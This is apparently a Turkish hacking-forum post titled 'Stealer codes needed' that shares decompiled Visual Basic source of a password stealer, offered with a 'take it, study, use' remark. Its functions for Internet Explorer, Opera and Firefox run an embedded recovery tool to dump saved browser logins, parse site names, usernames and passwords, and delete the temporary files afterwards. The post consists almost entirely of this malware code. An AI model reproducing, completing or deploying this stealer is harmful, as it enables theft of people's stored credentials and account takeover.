Stealer Kodları Lazım.

al incele kullan,virüs uyarı verirse karışmam,ava giderken avlanmanı istemem.incele sonra kullan,nasıl yapacağını üstatlara sor buyur;
Formlar;
frmMain
fSteam

PASSWORDS_IEXP:
Public Function PASSWORDS_IEXP() '41C144
'Data Table: 401B50 loc_41BC4A: On Error Resume Next
loc_41BC76: var_8C = LoadResData("IEXP", "RCVR")
loc_41BC83: Proc_1_1_419AD4(var_8C)
loc_41BCD2: var_140 = CStr(" /stext " & Chr(&H22)
& CVar(DIR_ME()) & "\iexp.dat" & Chr(&H22))
loc_41BD05: WaitForSingleObject(Proc_0_0_41E4E 0(Me.global_52, var_8C), &H3A98)
If (FileLen(DIR_ME() & "\iexp.dat") = 0) Then
'41BD5B
loc_41BD48: Kill CVar(DIR_ME() & "\iexp.dat")
loc_41BD55: Exit Function
End If loc_41BD7C: var_94 = FILE_READ(DIR_ME() &
"\iexp.dat")
loc_41BDBE: Kill CVar(DIR_ME() & "\iexp.dat")
loc_41BDFE: arg_2008 = Split(Replace(Replace(var_
94, vbNullString, 0, 1, -1, 0), vbNullString, 0, 1, -1, 0)
, String(&H32, "="), -1, 0) loc_41BE08: var_98 = arg_2008
For var_188 = CVar(LBound(var_98, 1)) To var_C4:
var_158 = var_188 'Variant
If CBool((var_158 Mod 2) <> 0) Then '41C125
loc_41BE77: arg_2008 = Split(var_98(CLng(var_
158)), vbCrLf, -1, 0) loc_41BE81: var_9C = arg_2008
loc_41BE8E: var_A2 = &HFF
For var_1B8 = CVar(LBound(var_9C, 1)) To var_C4:
var_198 = var_1B8 'Variant
If (((InStr(1, var_9C(CLng(var_198)), "Entry Name",
0) > 0) Or (InStr(1, var_9C(CLng(var_198)), "User Name ", 0) > 0)) Or (InStr(1, var_9C(CLng(var_198)),
"Password ", 0) > 0)) Then '41BF68
If (Len(Split(var_9C(CLng(var_198)), ": ", 2, 0)(1)) =
0) Then '41BF68
loc_41BF65: var_A2 = 0
End If End If
Next var_1B8 'Variant
If (var_A2 = &HFF) Then '41C123
For var_1E8 = CVar(LBound(var_9C, 1)) To var_C4:
var_198 = var_1E8 'Variant
If (InStr(1, var_9C(CLng(var_198)), ":", 0) > 0) Then '41C10A
If (((InStr(1, var_9C(CLng(var_198)), "Entry Name",
0) > 0) Or (InStr(1, var_9C(CLng(var_198)), "User
Name ", 0) > 0)) Or (InStr(1, var_9C(CLng(var_198)),
"Password ", 0) > 0)) Then '41C108
If (var_198 < CVar((UBound(var_9C, 1) - 2))) Then '41C0B4
loc_41C093: var_10C = CVar(var_A0 & "Internet
Explorer" & "
" & "Internet Explorer" & "
") & Split(var_9C(CLng(var_198)), ": ", 2, 0)(1)
loc_41C0A1: var_A0 = CStr(var_10C & " ")
loc_41C0B1: GoTo loc_41C106
End If
loc_41C0F8: var_A0 = CStr(CVar(var_A0) & Split(var_
9C(CLng(var_198)), ": ", 2, 0)(1))
loc_41C106: ' Referenced from: 41C0B1 End If
End If
Next var_1E8 'Variant
loc_41C120: var_A0 = var_A0 & vbCrLf
End If
End If Next var_188 'Variant
loc_41C137: var_88 = var_A0
loc_41C13C: Exit Function
End Function

PASSWORDS_OPERA:
Public Function PASSWORDS_OPERA() '41C6F4
'Data Table: 401B50
loc_41C1FA: On Error Resume Next
loc_41C226: var_8C = LoadResData("OPERA", "RCVR")
loc_41C233: Proc_1_1_419AD4(var_8C)
loc_41C282: var_140 = CStr(" /stext " & Chr(&H22)
& CVar(DIR_ME()) & "\opera.dat" & Chr(&H22))
loc_41C2B5: WaitForSingleObject(Proc_0_0_41E4E
0(Me.global_52, var_8C), &H3A98) If (FileLen(DIR_ME() & "\opera.dat") = 0) Then
'41C30B
loc_41C2F8: Kill CVar(DIR_ME() & "\opera.dat")
loc_41C305: Exit Function
End If
loc_41C32C: var_94 = FILE_READ(DIR_ME() & "\opera.dat")
loc_41C36E: Kill CVar(DIR_ME() & "\opra.dat")
loc_41C3AE: arg_2008 = Split(Replace(Replace(var_
94, vbNullString, 0, 1, -1, 0), vbNullString, 0, 1, -1, 0)
, String(&H32, "="), -1, 0)
loc_41C3B8: var_98 = arg_2008 For var_188 = CVar(LBound(var_98, 1)) To var_C4:
var_158 = var_188 'Variant
If CBool((var_158 Mod 2) <> 0) Then '41C6D5
loc_41C427: arg_2008 = Split(var_98(CLng(var_
158)), vbCrLf, -1, 0)
loc_41C431: var_9C = arg_2008 loc_41C43E: var_A2 = &HFF
For var_1B8 = CVar(LBound(var_9C, 1)) To var_C4:
var_198 = var_1B8 'Variant
If (((InStr(1, var_9C(CLng(var_198)), "URL ", 0) > 0)
Or (InStr(1, var_9C(CLng(var_198)), "User Name ",
0) > 0)) Or (InStr(1, var_9C(CLng(var_198)), "Password ", 0) > 0)) Then '41C518
If (Len(Split(var_9C(CLng(var_198)), ": ", 2, 0)(1)) =
0) Then '41C518
loc_41C515: var_A2 = 0
End If
End If Next var_1B8 'Variant
If (var_A2 = &HFF) Then '41C6D3
For var_1E8 = CVar(LBound(var_9C, 1)) To var_C4:
var_198 = var_1E8 'Variant
If (InStr(1, var_9C(CLng(var_198)), ":", 0) > 0) Then
'41C6BA If (((InStr(1, var_9C(CLng(var_198)), "URL ", 0) > 0)
Or (InStr(1, var_9C(CLng(var_198)), "User Name ",
0) > 0)) Or (InStr(1, var_9C(CLng(var_198)),
"Password ", 0) > 0)) Then '41C6B8
If (var_198 < CVar((UBound(var_9C, 1) - 3))) Then
'41C664 loc_41C64C: var_11C = CVar(var_A0 & "Opera" & "
" & "Opera" & "
" & "Opera" & "
") & Split(var_9C(CLng(var_198)), ": ", 2, 0)(1) & "
"
loc_41C651: var_A0 = CStr(var_11C) loc_41C661: GoTo loc_41C6B6
End If
loc_41C6A8: var_A0 = CStr(CVar(var_A0) & Split
(var_9C(CLng(var_198)), ": ", 2, 0)(1))
loc_41C6B6: ' Referenced from: 41C661
End If End If
Next var_1E8 'Variant
loc_41C6D0: var_A0 = var_A0 & vbCrLf
End If
End If
Next var_188 'Variant loc_41C6E7: var_88 = var_A0
loc_41C6EC: Exit Function
End Function
--------------------------------------------------------------
--------------------------------------------------------------
PASSWORDS_FFOX:
Public Function PASSWORDS_FFOX() '41BB94
'Data Table: 401B50
loc_41B69A: On Error Resume Next
loc_41B6C6: var_8C = LoadResData("FFOX", "RCVR")
loc_41B6D3: Proc_1_1_419AD4(var_8C) loc_41B722: var_140 = CStr(" /stext " & Chr(&H22)
& CVar(DIR_ME()) & "\ffox.dat" & Chr(&H22))
loc_41B755: WaitForSingleObject(Proc_0_0_41E4E
0(Me.global_52, var_8C), &H3A98)
If (FileLen(DIR_ME() & "\ffox.dat") = 0) Then
'41B7AB loc_41B798: Kill CVar(DIR_ME() & "\ffox.dat")
loc_41B7A5: Exit Function
End If
loc_41B7CC: var_94 = FILE_READ(DIR_ME() &
"\ffox.dat")
loc_41B80E: Kill CVar(DIR_ME() & "\ffox.dat") loc_41B84E: arg_2008 = Split(Replace(Replace(var_
94, vbNullString, 0, 1, -1, 0), vbNullString, 0, 1, -1, 0)
, String(&H32, "="), -1, 0)
loc_41B858: var_98 = arg_2008
For var_188 = CVar(LBound(var_98, 1)) To var_C4:
var_158 = var_188 'Variant If CBool((var_158 Mod 2) <> 0) Then '41BB75
loc_41B8C7: arg_2008 = Split(var_98(CLng(var_
158)), vbCrLf, -1, 0)
loc_41B8D1: var_9C = arg_2008
loc_41B8DE: var_A2 = &HFF
For var_1B8 = CVar(LBound(var_9C, 1)) To var_C4: var_198 = var_1B8 'Variant
If (((InStr(1, var_9C(CLng(var_198)), "Web Site ", 0)
> 0) Or (InStr(1, var_9C(CLng(var_198)), "User
Name ", 0) > 0)) Or (InStr(1, var_9C(CLng(var_198)),
"Password ", 0) > 0)) Then '41B9B8
If (Len(Split(var_9C(CLng(var_198)), ": ", 2, 0)(1)) = 0) Then '41B9B8
loc_41B9B5: var_A2 = 0
End If
End If
Next var_1B8 'Variant
If (var_A2 = &HFF) Then '41BB73 For var_1E8 = CVar(LBound(var_9C, 1)) To var_C4:
var_198 = var_1E8 'Variant
If (InStr(1, var_9C(CLng(var_198)), ":", 0) > 0) Then
'41BB5A
If (((InStr(1, var_9C(CLng(var_198)), "Web Site ", 0)
> 0) Or (InStr(1, var_9C(CLng(var_198)), "User Name ", 0) > 0)) Or (InStr(1, var_9C(CLng(var_198)),
"Password ", 0) > 0)) Then '41BB58
If (var_198 < CVar((UBound(var_9C, 1) - 5))) Then
'41BB04
loc_41BAEC: var_11C = CVar(var_A0 & "FireFox" & "
" & "FireFox" & " " & "FireFox" & "
") & Split(var_9C(CLng(var_198)), ": ", 2, 0)(1) & "
"
loc_41BAF1: var_A0 = CStr(var_11C)
loc_41BB01: GoTo loc_41BB56
End If loc_41BB48: var_A0 = CStr(CVar(var_A0) & Split
(var_9C(CLng(var_198)), ": ", 2, 0)(1))
loc_41BB56: ' Referenced from: 41BB01
End If
End If
Next var_1E8 'Variant loc_41BB70: var_A0 = var_A0 & vbCrLf
End If
End If
Next var_188 'Variant
loc_41BB87: var_88 = var_A0
loc_41BB8C: Exit Function End Function